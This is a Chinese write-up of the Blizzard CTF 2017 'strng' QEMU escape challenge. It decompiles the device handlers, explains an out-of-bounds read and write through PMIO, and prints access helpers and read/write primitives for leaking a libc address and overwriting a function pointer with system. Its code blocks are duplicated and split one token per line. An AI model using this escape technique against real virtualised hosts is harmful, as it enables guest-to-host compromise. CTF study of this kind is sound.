调试过程参考链接https://ray-cp.github.io/archivers/qemu-pwn-Blizzard-CTF-2017-Strng-writeup
感谢raycp大神
题目源码的链接为Blizzard CTF 2017,是qemu逃逸题,flag文件在宿主机中的路径为/root/flag。
题目的下载路径为https://github.com/rcvalle/blizzardctf2017/releases,启动的命令如下,可以把它保存到launsh.sh中,用sudo ./launsh.sh启动。
命令参数说明
该虚拟机是一个Ubuntu Server 14.04 LTS,用户名是ubuntu,密码是passw0rd。因为它把22端口重定向到了宿主机的5555端口,所以可以使用ssh ubuntu@127.0.0.1 -p 5555登进去。
sudo ./launsh.sh启动虚拟机,使用用户名是ubuntu,密码是passw0rd进去虚拟机。
通过启动命令中的-device strng,我们在IDA中搜索strng相关函数,可以看到相应的函数。
首先是设备的结构体STRNGState 的定义:
在local_type窗口找到了
可以看到它里面存在一个regs数组,大小为256(64*4),后面跟三个函数指针。
pci_strng_register_types会注册由用户提供的TypeInfo,查看该函数并找到了它的TypeInfo,跟进去看到了strng_class_init以及strng_instance_init函数。
然后先看strng_class_init函数,代码如下(将变量k的类型设置为PCIDeviceClass*):
可以看到class_init中设置其device_id为0x11e9,vendor_id为0x1234。对应到上面lspci得到的信息,可以知道设备为00:03.0,查看其详细信息:
可以看到有MMIO地址为0xfebf1000,大小为256;PMIO地址为0xc050,总共有8个端口。
然后查看resource文件:
resource0对应的是MMIO,而resource1对应的是PMIO。resource中数据格式是start-address end-address flags。
也可以查看/proc/ioports来查看各个设备对应的I/O端口,/proc/iomem查看其对应的I/O memory地址(需要用root帐号查看,否则看不到端口或地址):
/sys/devices其对应的设备下也有相应的信息,如deviceid和vendorid等:
然后去看pci_strng_realize,该函数注册了MMIO和PMIO空间,包括mmio的操作结构strng_mmio_ops及其大小256;pmio的操作结构体strng_pmio_ops及其大小8。注意将第一个参数类型改为STRNGState *。
strng_mmio_ops中有访问mmio对应的strng_mmio_read以及strng_mmio_write;strng_pmio_ops中有访问pmio对应的strng_pmio_read以及strng_pmio_write,下面将详细分析这两部分,一般来说,设备的问题也容易出现在这两个部分。
注意第一个参数类型改为STRNGState *,读入addr将其右移两位,作为regs的索引返回该寄存器的值。
注意第一个参数类型改为STRNGState *。
当size等于4时,将addr右移两位得到寄存器的索引i,并提供4个功能:
当i为0时,调用srand函数但并不给赋值给内存。
当i为1时,调用rand得到随机数并赋值给regs[1]。
当i为3时,调用rand_r函数,并使用regs[2]的地址作为参数,并最后将返回值赋值给regs[3]。
其余则直接将传入的val值赋值给regs[i]。
看起来似乎是addr可以由我们控制,可以使用addr来越界读写regs数组。即如果传入的addr大于regs的边界,那么我们就可以写到后面的函数指针了。但是事实上是不可以的,前面已经知道了mmio空间大小为256,我们传入的addr是不能大于mmio的大小;因为pci设备内部会进行检查,而刚好regs的大小为256,所以我们无法通过mmio进行越界写。
实现对MMIO空间的访问,比较便捷的方式就是使用mmap函数将设备的resource0文件映射到内存中,再进行相应的读写即可实现MMIO的读写,典型代码如下:
通过前面的分析我们知道strng有八个端口,端口起始地址为0xc050,相应的通过strng_pmio_read和strng_pmio_write去读写。
当端口地址为0时直接返回opaque->addr,否则将opaque->addr右移两位作为索引i,返回regs[i]的值,比较关注的是这个opaque->addr在哪里赋值,它在下面的strng_pmio_write中被赋值。
当size等于4时,以传入的端口地址为判断提供4个功能:
当端口地址为0时,直接将传入的val赋值给opaque->addr。
当端口地址不为0时,将opaque->addr右移两位得到索引i,分为三个功能:
i为0时,执行srand,返回值不存储。
i为1时,执行rand并将返回结果存储到regs[1]中。
i为3时,调用rand_r并将regs[2]作为第一个参数,返回值存储到regs[3]中。
否则直接将val存储到regs[idx]中。
可以看到PMIO与MMIO的区别在于索引regs数组时,PMIO并不是由直接传入的端口地址addr去索引的;而是由opaque->addr去索引,而opaque->addr的赋值是我们可控的(端口地址为0时,直接将传入的val赋值给opaque->addr)。因此regs数组的索引可以为任意值,即可以越界读写。
越界读则是首先通过strng_pmio_write去设置opaque->addr,然后再调用pmio_read去越界读。
越界写则是首先通过strng_pmio_write去设置opaque->addr,然后仍然通过pmio_write去越界写。
UAFIO描述说有三种方式访问PMIO,这里仍给出一个比较便捷的方法去访问,即通过IN以及 OUT指令去访问。可以使用IN和OUT去读写相应字节的1、2、4字节数据(outb/inb, outw/inw, outl/inl),函数的头文件为<sys/io.h>,函数的具体用法可以使用man手册查看。
还需要注意的是要访问相应的端口需要一定的权限,程序应使用root权限运行。对于0x000-0x3ff之间的端口,使用ioperm(from, num, turn_on)即可;对于0x3ff以上的端口,则该调用执行iopl(3)函数去允许访问所有的端口(可使用man ioperm 和man iopl去查看函数)。
典型代码如下:
首先使用strng_pmio_write设置opaque->addr,即当addr为0时,传入的val会直接赋值给opaque->addr;然后再调用strng_pmio_read,就会去读regs[val>>2]的值,实现越界读,代码如下:
仍然是首先使用strng_pmio_write设置opaque->addr,即当addr为0时,传入的val会直接赋值给opaque->addr;然后调用strng_pmio_write,并设置addr为4,即会去将此次传入的val写入到regs[val>>2]中,实现越界写,代码如下:
使用strng_mmio_write将cat /root/flag写入到regs[2]开始的内存处,用于后续作为参数。
使用越界读漏洞,读取regs数组后面的srand地址,根据偏移计算出system地址。
使用越界写漏洞,覆盖regs数组后面的rand_r地址,将其覆盖为system地址。
最后使用strng_mmio_write触发执行opaque->rand_r(&opaque->regs[2])函数,从而实现system("cat /root/flag")的调用,拿到flag。
将完整流程描述了一遍以后,再说下怎么调试。
sudo ./launsh.sh将虚拟机跑起来以后,在本地将exp用命令make编译通过,makefile内容比较简单:
原来的exp存在以下问题,经过改造成功执行。
第二种exp
然后host使用命令
scp -P5555 exp ubuntu@127.0.0.1:/home/ubuntu
将exp拷贝到虚拟机中。
若要调试qemu以查看相应的流程,host机器可以使用
ps -ax|grep qemu
找到相应的进程;再
sudo gdb ./qemu-system-x86_64 -p pidof qemu-system-x86_64
上去,然后在里面下断点查看想观察的数据,示例如下:
发现经常会因为stop signal断下,所以加上
handle SIGSTOP nostop
断点如下:
b strng_pmio_write
b strng_pmio_read
b strng_mmio_write
b strng_pmio_read
然后在虚拟机中执行sudo ./exp执行exp,就可以愉快的调试了。
.
/
qemu
-
system
-
x86_64 \
-
m
1G
\
-
device strng \
-
hda my
-
disk.img \
-
hdb my
-
seed.img \
-
nographic \
-
L pc
-
bios
/
\
-
enable
-
kvm \
-
device e1000,netdev
=
net0 \
-
netdev user,
id
=
net0,hostfwd
=
tcp::
5555
-
:
22
.
/
qemu
-
system
-
x86_64 \
-
m
1G
\
-
device strng \
-
hda my
-
disk.img \
-
hdb my
-
seed.img \
-
nographic \
-
L pc
-
bios
/
\
-
enable
-
kvm \
-
device e1000,netdev
=
net0 \
-
netdev user,
id
=
net0,hostfwd
=
tcp::
5555
-
:
22
-
device driver[,prop[
=
value][,...]]
add device (based on driver)
prop
=
value,... sets driver properties
use
'-device help'
to
print
all
possible drivers
use
'-device driver,help'
to
print
all
possible properties
-
hda
/
-
hdb
file
use
'file'
as IDE hard disk
0
/
1
image
-
L path
set
the directory
for
the BIOS, VGA BIOS
and
keymaps
-
netdev user,
id
=
str
[,net
=
addr[
/
mask]][,host
=
addr][,restrict
=
on|off]
[,hostname
=
host][,dhcpstart
=
addr][,dns
=
addr][,dnssearch
=
domain][,tftp
=
dir
]
[,bootfile
=
f][,hostfwd
=
rule][,guestfwd
=
rule][,smb
=
dir
[,smbserver
=
addr]]
configure a user mode network backend with
ID
'str'
,
its DHCP server
and
optional services
-
device driver[,prop[
=
value][,...]]
add device (based on driver)
prop
=
value,... sets driver properties
use
'-device help'
to
print
all
possible drivers
use
'-device driver,help'
to
print
all
possible properties
-
hda
/
-
hdb
file
use
'file'
as IDE hard disk
0
/
1
image
-
L path
set
the directory
for
the BIOS, VGA BIOS
and
keymaps
-
netdev user,
id
=
str
[,net
=
addr[
/
mask]][,host
=
addr][,restrict
=
on|off]
[,hostname
=
host][,dhcpstart
=
addr][,dns
=
addr][,dnssearch
=
domain][,tftp
=
dir
]
[,bootfile
=
f][,hostfwd
=
rule][,guestfwd
=
rule][,smb
=
dir
[,smbserver
=
addr]]
configure a user mode network backend with
ID
'str'
,
its DHCP server
and
optional services
void __cdecl pci_strng_register_types()
{
type_register_static(&strng_info_25910);
}
void __cdecl pci_strng_register_types()
{
type_register_static(&strng_info_25910);
}
void __fastcall strng_class_init(ObjectClass
*
a1, void
*
data)
{
PCIDeviceClass
*
k;
/
/
rax
k
=
(PCIDeviceClass
*
)object_class_dynamic_cast_assert( 获取子类对象
a1,
"pci-device"
,
"/home/rcvalle/qemu/hw/misc/strng.c"
,
154
,
"strng_class_init"
);
k
-
>device_id
=
0x11E9
;
k
-
>revision
=
0x10
;
k
-
>realize
=
(void (
*
)(PCIDevice_0
*
, Error_0
*
*
))pci_strng_realize;
k
-
>class_id
=
0xFF
;
k
-
>vendor_id
=
0x1234
;
}
void __fastcall strng_class_init(ObjectClass
*
a1, void
*
data)
{
PCIDeviceClass
*
k;
/
/
rax
k
=
(PCIDeviceClass
*
)object_class_dynamic_cast_assert( 获取子类对象
a1,
"pci-device"
,
"/home/rcvalle/qemu/hw/misc/strng.c"
,
154
,
"strng_class_init"
);
k
-
>device_id
=
0x11E9
;
k
-
>revision
=
0x10
;
k
-
>realize
=
(void (
*
)(PCIDevice_0
*
, Error_0
*
*
))pci_strng_realize;
k
-
>class_id
=
0xFF
;
k
-
>vendor_id
=
0x1234
;
}
ubuntu@ubuntu:~$ lspci
00
:
00.0
Host bridge: Intel Corporation
440FX
-
82441FX
PMC [Natoma] (rev
02
)
00
:
01.0
ISA bridge: Intel Corporation
82371SB
PIIX3 ISA [Natoma
/
Triton II]
00
:
01.1
IDE interface: Intel Corporation
82371SB
PIIX3 IDE [Natoma
/
Triton II]
00
:
01.3
Bridge: Intel Corporation
82371AB
/
EB
/
MB PIIX4 ACPI (rev
03
)
00
:
02.0
VGA compatible controller: Device
1234
:
1111
(rev
02
)
00
:
03.0
Unclassified device [
00ff
]: Device
1234
:
11e9
(rev
10
) 要分析的设备!!!
00
:
04.0
Ethernet controller: Intel Corporation
82540EM
Gigabit Ethernet Controller (rev
03
)
ubuntu@ubuntu:~$ lspci
00
:
00.0
Host bridge: Intel Corporation
440FX
-
82441FX
PMC [Natoma] (rev
02
)
00
:
01.0
ISA bridge: Intel Corporation
82371SB
PIIX3 ISA [Natoma
/
Triton II]
00
:
01.1
IDE interface: Intel Corporation
82371SB
PIIX3 IDE [Natoma
/
Triton II]
00
:
01.3
Bridge: Intel Corporation
82371AB
/
EB
/
MB PIIX4 ACPI (rev
03
)
00
:
02.0
VGA compatible controller: Device
1234
:
1111
(rev
02
)
00
:
03.0
Unclassified device [
00ff
]: Device
1234
:
11e9
(rev
10
) 要分析的设备!!!
00
:
04.0
Ethernet controller: Intel Corporation
82540EM
Gigabit Ethernet Controller (rev
03
)
ubuntu@ubuntu:~$ lspci
-
v
-
s
00
:
03.0
00
:
03.0
Unclassified device [
00ff
]: Device
1234
:
11e9
(rev
10
)
Subsystem: Red Hat, Inc Device
1100
Physical Slot:
3
Flags: fast devsel
Memory at febf1000 (
32
-
bit, non
-
prefetchable) [size
=
256
]
I
/
O ports at c050 [size
=
8
]
ubuntu@ubuntu:~$ lspci
-
v
-
s
00
:
03.0
00
:
03.0
Unclassified device [
00ff
]: Device
1234
:
11e9
(rev
10
)
Subsystem: Red Hat, Inc Device
1100
Physical Slot:
3
Flags: fast devsel
Memory at febf1000 (
32
-
bit, non
-
prefetchable) [size
=
256
]
I
/
O ports at c050 [size
=
8
]
root@ubuntu:~
0x00000000febf1000
0x00000000febf10ff
0x0000000000040200
0x000000000000c050
0x000000000000c057
0x0000000000040101
0x0000000000000000
0x0000000000000000
0x0000000000000000
root@ubuntu:~
0x00000000febf1000
0x00000000febf10ff
0x0000000000040200
0x000000000000c050
0x000000000000c057
0x0000000000040101
0x0000000000000000
0x0000000000000000
0x0000000000000000
ubuntu@ubuntu:~$ sudo cat
/
proc
/
iomem
...
febf1000
-
febf10ff :
0000
:
00
:
03.0
...
ubuntu@ubuntu:~$ sudo cat
/
proc
/
ioports
...
c050
-
c057 :
0000
:
00
:
03.0
ubuntu@ubuntu:~$ sudo cat
/
proc
/
iomem
...
febf1000
-
febf10ff :
0000
:
00
:
03.0
...
ubuntu@ubuntu:~$ sudo cat
/
proc
/
ioports
...
c050
-
c057 :
0000
:
00
:
03.0
ubuntu@ubuntu:~$ ls
/
sys
/
devices
/
pci0000\:
00
/
0000
\:
00
\:
03.0
broken_parity_status enable power subsystem_device
class
firmware_node remove subsystem_vendor
config irq rescan uevent
consistent_dma_mask_bits local_cpulist resource vendor
d3cold_allowed local_cpus resource0
device modalias resource1
dma_mask_bits msi_bus subsystem
ubuntu@ubuntu:~$ cat
/
sys
/
devices
/
pci0000\:
00
/
0000
\:
00
\:
03.0
/
class
0x00ff00
ubuntu@ubuntu:~$ cat
/
sys
/
devices
/
pci0000\:
00
/
0000
\:
00
\:
03.0
/
vendor
0x1234
ubuntu@ubuntu:~$ cat
/
sys
/
devices
/
pci0000\:
00
/
0000
\:
00
\:
03.0
/
device
0x11e9
ubuntu@ubuntu:~$ ls
/
sys
/
devices
/
pci0000\:
00
/
0000
\:
00
\:
03.0
broken_parity_status enable power subsystem_device
class
firmware_node remove subsystem_vendor
config irq rescan uevent
consistent_dma_mask_bits local_cpulist resource vendor
d3cold_allowed local_cpus resource0
device modalias resource1
dma_mask_bits msi_bus subsystem
ubuntu@ubuntu:~$ cat
/
sys
/
devices
/
pci0000\:
00
/
0000
\:
00
\:
03.0
/
class
0x00ff00
ubuntu@ubuntu:~$ cat
/
sys
/
devices
/
pci0000\:
00
/
0000
\:
00
\:
03.0
/
vendor
0x1234
ubuntu@ubuntu:~$ cat
/
sys
/
devices
/
pci0000\:
00
/
0000
\:
00
\:
03.0
/
device
0x11e9
void __fastcall strng_mmio_write(STRNGState
*
opaque, hwaddr addr, uint32_t val, unsigned
int
size)
{
hwaddr i;
/
/
rsi
uint32_t v5;
/
/
ST08_4
uint32_t v6;
/
/
eax
unsigned __int64 v7;
/
/
[rsp
+
18h
] [rbp
-
20h
]
v7
=
__readfsqword(
0x28u
);
if
( size
=
=
4
&& !(addr &
3
) )
{
i
=
addr >>
2
;
if
( (_DWORD)i
=
=
1
)
{
opaque
-
>regs[
1
]
=
opaque
-
>rand(opaque, i, val);
}
else
if
( (unsigned
int
)i <
1
)
{
if
( __readfsqword(
0x28u
)
=
=
v7 )
opaque
-
>srand(val);
}
else
{
if
( (_DWORD)i
=
=
3
)
{
v5
=
val;
v6
=
((__int64 (__fastcall
*
)(uint32_t
*
))opaque
-
>rand_r)(&opaque
-
>regs[
2
]);
/
/
这个函数指针可以被改掉system,其中opaque
-
>regs[
2
]存放参数cat
/
root
/
flag
val
=
v5;
opaque
-
>regs[
3
]
=
v6;
}
opaque
-
>regs[(unsigned
int
)i]
=
val;
}
}
}
void __fastcall strng_mmio_write(STRNGState
*
opaque, hwaddr addr, uint32_t val, unsigned
int
size)
{
hwaddr i;
/
/
rsi
uint32_t v5;
/
/
ST08_4
uint32_t v6;
/
/
eax
unsigned __int64 v7;
/
/
[rsp
+
18h
] [rbp
-
20h
]
v7
=
__readfsqword(
0x28u
);
if
( size
=
=
4
&& !(addr &
3
) )
{
i
=
addr >>
2
;
if
( (_DWORD)i
=
=
1
)
{
opaque
-
>regs[
1
]
=
opaque
-
>rand(opaque, i, val);
}
else
if
( (unsigned
int
)i <
1
)
{
if
( __readfsqword(
0x28u
)
=
=
v7 )
opaque
-
>srand(val);
}
else
{
if
( (_DWORD)i
=
=
3
)
{
v5
=
val;
v6
=
((__int64 (__fastcall
*
)(uint32_t
*
))opaque
-
>rand_r)(&opaque
-
>regs[
2
]);
/
/
这个函数指针可以被改掉system,其中opaque
-
>regs[
2
]存放参数cat
/
root
/
flag
val
=
v5;
opaque
-
>regs[
3
]
=
v6;
}
opaque
-
>regs[(unsigned
int
)i]
=
val;
}
}
}
unsigned char
*
mmio_mem;
void mmio_write(uint32_t addr, uint32_t value)
{
*
((uint32_t
*
)(mmio_mem
+
addr))
=
value;
}
uint32_t mmio_read(uint32_t addr)
{
return
*
((uint32_t
*
)(mmio_mem
+
addr));
}
int
main(
int
argc, char
*
argv[])
{
/
/
Open
and
map
I
/
O memory
for
the strng device
int
mmio_fd
=
open
(
"/sys/devices/pci0000:00/0000:00:03.0/resource0"
, O_RDWR | O_SYNC);
if
(mmio_fd
=
=
-
1
)
die(
"mmio_fd open failed"
);
mmio_mem
=
mmap(
0
,
0x1000
, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,
0
);
if
(mmio_mem
=
=
MAP_FAILED)
die(
"mmap mmio_mem failed"
);
}
unsigned char
*
mmio_mem;
void mmio_write(uint32_t addr, uint32_t value)
{
*
((uint32_t
*
)(mmio_mem
+
addr))
=
value;
}
uint32_t mmio_read(uint32_t addr)
{
return
*
((uint32_t
*
)(mmio_mem
+
addr));
}
int
main(
int
argc, char
*
argv[])
{
/
/
Open
and
map
I
/
O memory
for
the strng device
int
mmio_fd
=
open
(
"/sys/devices/pci0000:00/0000:00:03.0/resource0"
, O_RDWR | O_SYNC);
if
(mmio_fd
=
=
-
1
)
die(
"mmio_fd open failed"
);
mmio_mem
=
mmap(
0
,
0x1000
, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,
0
);
if
(mmio_mem
=
=
MAP_FAILED)
die(
"mmap mmio_mem failed"
);
}
uint32_t strng_mmio_read(uint64_t addr) {
assert
(!(addr&
3
));
uint32_t val
=
readm32(strng_mmio_map
+
addr);
return
val;
}
void strng_mmio_write(uint64_t addr, uint32_t val) {
assert
(!(addr&
3
));
writem32(strng_mmio_map
+
addr, val);
}
int
main(
int
argc, char const
*
argv[]) {
int
devmem_fd;
if
(
0
!
=
iopl(
3
)) {
die(
"iopl"
);
}
devmem_fd
=
open
(
"/dev/mem"
, O_RDWR | O_SYNC);
if
(devmem_fd <
0
) {
die(
"open /dev/mem"
);
}
strng_mmio_map
=
(uint64_t)mmap((void
*
)
0
, STRNG_MMIO_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, devmem_fd, STRNG_MMIO_BASE);
if
(!strng_mmio_map) {
die(
"mmap mmio"
);
}
close(devmem_fd);
uint32_t strng_mmio_read(uint64_t addr) {
assert
(!(addr&
3
));
uint32_t val
=
readm32(strng_mmio_map
+
addr);
return
val;
}
void strng_mmio_write(uint64_t addr, uint32_t val) {
assert
(!(addr&
3
));
writem32(strng_mmio_map
+
addr, val);
}
int
main(
int
argc, char const
*
argv[]) {
int
devmem_fd;
if
(
0
!
=
iopl(
3
)) {
die(
"iopl"
);
}
devmem_fd
=
open
(
"/dev/mem"
, O_RDWR | O_SYNC);
if
(devmem_fd <
0
) {
die(
"open /dev/mem"
);
}
strng_mmio_map
=
(uint64_t)mmap((void
*
)
0
, STRNG_MMIO_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, devmem_fd, STRNG_MMIO_BASE);
if
(!strng_mmio_map) {
die(
"mmap mmio"
);
}
close(devmem_fd);
uint64_t __fastcall strng_pmio_read(STRNGState
*
opaque, hwaddr addr, unsigned
int
size)
{
uint64_t result;
/
/
rax
uint32_t reg_addr;
/
/
edx
result
=
-
1LL
;
if
( size
=
=
4
)
{
if
( addr )
{
if
( addr
=
=
4
)
{
reg_addr
=
opaque
-
>addr; 索引来自opaque
-
>addr
if
( !(reg_addr &
3
) )
result
=
opaque
-
>regs[reg_addr >>
2
]; 这里可以越界读函数指针
}
}
else
{
result
=
opaque
-
>addr;
}
}
return
result;
}
uint64_t __fastcall strng_pmio_read(STRNGState
*
opaque, hwaddr addr, unsigned
int
size)
{
uint64_t result;
/
/
rax
uint32_t reg_addr;
/
/
edx
result
=
-
1LL
;
if
( size
=
=
4
)
{
if
( addr )
{
if
( addr
=
=
4
)
{
reg_addr
=
opaque
-
>addr; 索引来自opaque
-
>addr
if
( !(reg_addr &
3
) )
result
=
opaque
-
>regs[reg_addr >>
2
]; 这里可以越界读函数指针
}
}
else
{
result
=
opaque
-
>addr;
}
}
return
result;
}
void __fastcall strng_pmio_write(STRNGState
*
opaque, hwaddr addr, uint64_t val, unsigned
int
size)
{
uint32_t reg_addr;
/
/
eax
__int64 idx;
/
/
rax
unsigned __int64 v6;
/
/
[rsp
+
8h
] [rbp
-
10h
]
v6
=
__readfsqword(
0x28u
);
if
( size
=
=
4
)
{
if
( addr )
{
if
( addr
=
=
4
)
{
reg_addr
=
opaque
-
>addr; 地址赋值
if
( !(reg_addr &
3
) )
{
idx
=
reg_addr >>
2
;
if
( (_DWORD)idx
=
=
1
)
{
opaque
-
>regs[
1
]
=
opaque
-
>rand(opaque,
4LL
, val);
}
else
if
( (unsigned
int
)idx <
1
)
{
if
( __readfsqword(
0x28u
)
=
=
v6 )
opaque
-
>srand((unsigned
int
)val);
}
else
if
( (_DWORD)idx
=
=
3
)
{
opaque
-
>regs[
3
]
=
opaque
-
>rand_r(&opaque
-
>regs[
2
],
4LL
, val);
}
else
{
opaque
-
>regs[idx]
=
val; 越界写函数指针
}
}
}
}
else
{
opaque
-
>addr
=
val; 如果addr
=
0
,那么直接给opaque
-
>addr赋值
}
}
}
void __fastcall strng_pmio_write(STRNGState
*
opaque, hwaddr addr, uint64_t val, unsigned
int
size)
{
uint32_t reg_addr;
/
/
eax
__int64 idx;
/
/
rax
unsigned __int64 v6;
/
/
[rsp
+
8h
] [rbp
-
10h
]
v6
=
__readfsqword(
0x28u
);
if
( size
=
=
4
)
{
if
( addr )
{
if
( addr
=
=
4
)
{
reg_addr
=
opaque
-
>addr; 地址赋值
if
( !(reg_addr &
3
) )
{
idx
=
reg_addr >>
2
;
if
( (_DWORD)idx
=
=
1
)
{
opaque
-
>regs[
1
]
=
opaque
-
>rand(opaque,
4LL
, val);
}
else
if
( (unsigned
int
)idx <
1
)
{
if
( __readfsqword(
0x28u
)
=
=
v6 )
opaque
-
>srand((unsigned
int
)val);
}
else
if
( (_DWORD)idx
=
=
3
)
{
opaque
-
>regs[
3
]
=
opaque
-
>rand_r(&opaque
-
>regs[
2
],
4LL
, val);
}
else
{
opaque
-
>regs[idx]
=
val; 越界写函数指针
}
}
}
}
else
{
opaque
-
>addr
=
val; 如果addr
=
0
,那么直接给opaque
-
>addr赋值
}
}
}
uint32_t pmio_base
=
0xc050
;
uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value,addr);
}
uint32_t pmio_read(uint32_t addr)
{
return
(uint32_t)inl(addr);
}
int
main(
int
argc, char
*
argv[])
{
/
/
Open
and
map
I
/
O memory
for
the strng device
if
(iopl(
3
) !
=
0
)
die(
"I/O permission is not enough"
);
pmio_write(pmio_base
+
0
,
0
);
pmio_write(pmio_base
+
4
,
1
);
}
uint32_t pmio_base
=
0xc050
;
uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value,addr);
}
uint32_t pmio_read(uint32_t addr)
{
return
(uint32_t)inl(addr);
}
int
main(
int
argc, char
*
argv[])
{
/
/
Open
and
map
I
/
O memory
for
the strng device
if
(iopl(
3
) !
=
0
)
die(
"I/O permission is not enough"
);
pmio_write(pmio_base
+
0
,
0
);
pmio_write(pmio_base
+
4
,
1
);
}
uint32_t pmio_arbread(uint32_t offset)
{
pmio_write(pmio_base
+
0
,offset);
return
pmio_read(pmio_base
+
4
);
}
uint32_t pmio_arbread(uint32_t offset)
{
pmio_write(pmio_base
+
0
,offset);
return
pmio_read(pmio_base
+
4
);
}
void pmio_abwrite(uint32_t offset, uint32_t value)
{
pmio_write(pmio_base
+
0
,offset);
pmio_write(pmio_base
+
4
,value);
}
void pmio_abwrite(uint32_t offset, uint32_t value)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2021-7-2 15:57
被nicaicaiwo编辑
,原因: